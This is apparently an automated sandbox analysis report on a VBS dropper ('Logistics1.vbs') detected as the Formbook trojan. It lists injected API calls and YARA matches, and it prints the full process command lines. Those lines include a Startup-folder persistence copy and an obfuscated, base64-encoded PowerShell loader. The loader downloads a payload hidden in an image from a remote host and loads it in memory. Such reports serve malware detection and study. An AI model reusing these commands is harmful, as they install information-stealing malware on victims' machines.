Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442AB0 NtWaitForSingleObject,	11_2_03442AB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034439B0 NtGetContextThread,	11_2_034439B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442F60 NtCreateProcessEx,	11_2_03442F60
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442F30 NtCreateSection,	11_2_03442F30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442FE0 NtCreateFile,	11_2_03442FE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442F90 NtProtectVirtualMemory,	11_2_03442F90
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442FA0 NtQuerySection,	11_2_03442FA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442FB0 NtResumeThread,	11_2_03442FB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442E30 NtWriteVirtualMemory,	11_2_03442E30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442EE0 NtQueueApcThread,	11_2_03442EE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442E80 NtReadVirtualMemory,	11_2_03442E80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442EA0 NtAdjustPrivilegesToken,	11_2_03442EA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03443D70 NtOpenThread,	11_2_03443D70
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442D00 NtSetInformationFile,	11_2_03442D00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442D10 NtMapViewOfSection,	11_2_03442D10
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03443D10 NtOpenProcessToken,	11_2_03443D10
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442D30 NtUnmapViewOfSection,	11_2_03442D30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442DD0 NtDelayExecution,	11_2_03442DD0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442DB0 NtEnumerateKey,	11_2_03442DB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442C60 NtCreateKey,	11_2_03442C60
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442C00 NtQueryInformationProcess,	11_2_03442C00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442CC0 NtQueryVirtualMemory,	11_2_03442CC0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442CF0 NtOpenProcess,	11_2_03442CF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442CA0 NtQueryInformationToken,	11_2_03442CA0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB49FD0E05	8_2_00007FFB49FD0E05
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB49FD0E0C	8_2_00007FFB49FD0E0C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004100C3	11_2_004100C3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004100BA	11_2_004100BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004169FE	11_2_004169FE
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00416A03	11_2_00416A03
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_004102E3	11_2_004102E3
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0040E363	11_2_0040E363
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00403320	11_2_00403320
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0040E53B	11_2_0040E53B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0042EE43	11_2_0042EE43
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00402EA8	11_2_00402EA8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00402EB0	11_2_00402EB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_00402790	11_2_00402790
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CA352	11_2_034CA352
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C132D	11_2_034C132D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FD34C	11_2_033FD34C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D03E6	11_2_034D03E6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E3F0	11_2_0341E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0345739A	11_2_0345739A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0	11_2_0342B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B12ED	11_2_034B12ED
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034152A0	11_2_034152A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034DB16B	11_2_034DB16B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0344516C	11_2_0344516C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03400100	11_2_03400100
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FF172	11_2_033FF172
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034AA118	11_2_034AA118
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C81CC	11_2_034C81CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D01AA	11_2_034D01AA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341B1B0	11_2_0341B1B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034170C0	11_2_034170C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BF0CC	11_2_034BF0CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C70E9	11_2_034C70E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CF0E0	11_2_034CF0E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03434750	11_2_03434750
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410770	11_2_03410770
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340C7C0	11_2_0340C7C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CF7B0	11_2_034CF7B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C16CC	11_2_034C16CC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342C6E0	11_2_0342C6E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C7571	11_2_034C7571
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410535	11_2_03410535
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D0591	11_2_034D0591
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034AD5B0	11_2_034AD5B0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C2446	11_2_034C2446
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03401460	11_2_03401460
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CF43F	11_2_034CF43F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BE4F6	11_2_034BE4F6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CAB40	11_2_034CAB40
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CFB76	11_2_034CFB76
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C6BD7	11_2_034C6BD7
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0344DBF9	11_2_0344DBF9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342FB80	11_2_0342FB80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CFA49	11_2_034CFA49
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C7A46	11_2_034C7A46
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03483A6C	11_2_03483A6C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BDAC6	11_2_034BDAC6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340EA80	11_2_0340EA80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03455AA0	11_2_03455AA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034ADAAC	11_2_034ADAAC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03419950	11_2_03419950
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B950	11_2_0342B950
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03426962	11_2_03426962
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034129A0	11_2_034129A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034DA9A6	11_2_034DA9A6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03412840	11_2_03412840
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341A840	11_2_0341A840
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0347D800	11_2_0347D800
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F68B8	11_2_033F68B8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034138E0	11_2_034138E0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343E8F0	11_2_0343E8F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03484F40	11_2_03484F40
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CFF09	11_2_034CFF09
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03452F28	11_2_03452F28
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03430F30	11_2_03430F30
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03402FC8	11_2_03402FC8
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341CFE0	11_2_0341CFE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03411F92	11_2_03411F92
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CFFB1	11_2_034CFFB1
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410E59	11_2_03410E59
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CEE26	11_2_034CEE26
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CEEDB	11_2_034CEEDB
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03422E90	11_2_03422E90
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CCE93	11_2_034CCE93
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03419EB0	11_2_03419EB0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03413D40	11_2_03413D40
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C1D5A	11_2_034C1D5A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C7D73	11_2_034C7D73
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341AD00	11_2_0341AD00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342FDC0	11_2_0342FDC0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340ADE0	11_2_0340ADE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03428DBF	11_2_03428DBF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03410C00	11_2_03410C00
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03489C32	11_2_03489C32
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03400CF2	11_2_03400CF2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CFCF2	11_2_034CFCF2
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0CB5	11_2_034B0CB5

Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 03457E54 appears 89 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 0348F290 appears 105 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 033FB970 appears 268 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 0347EA12 appears 86 times
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: String function: 03445130 appears 36 times

Source: Logistics1.vbs

Initial sample: Strings found which are bigger than 50

Source: 11.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 11.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7892, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8004, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@17/7@2/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7900:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwendzpd.511.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Logistics1.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Logistics1.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"	Jump to behavior
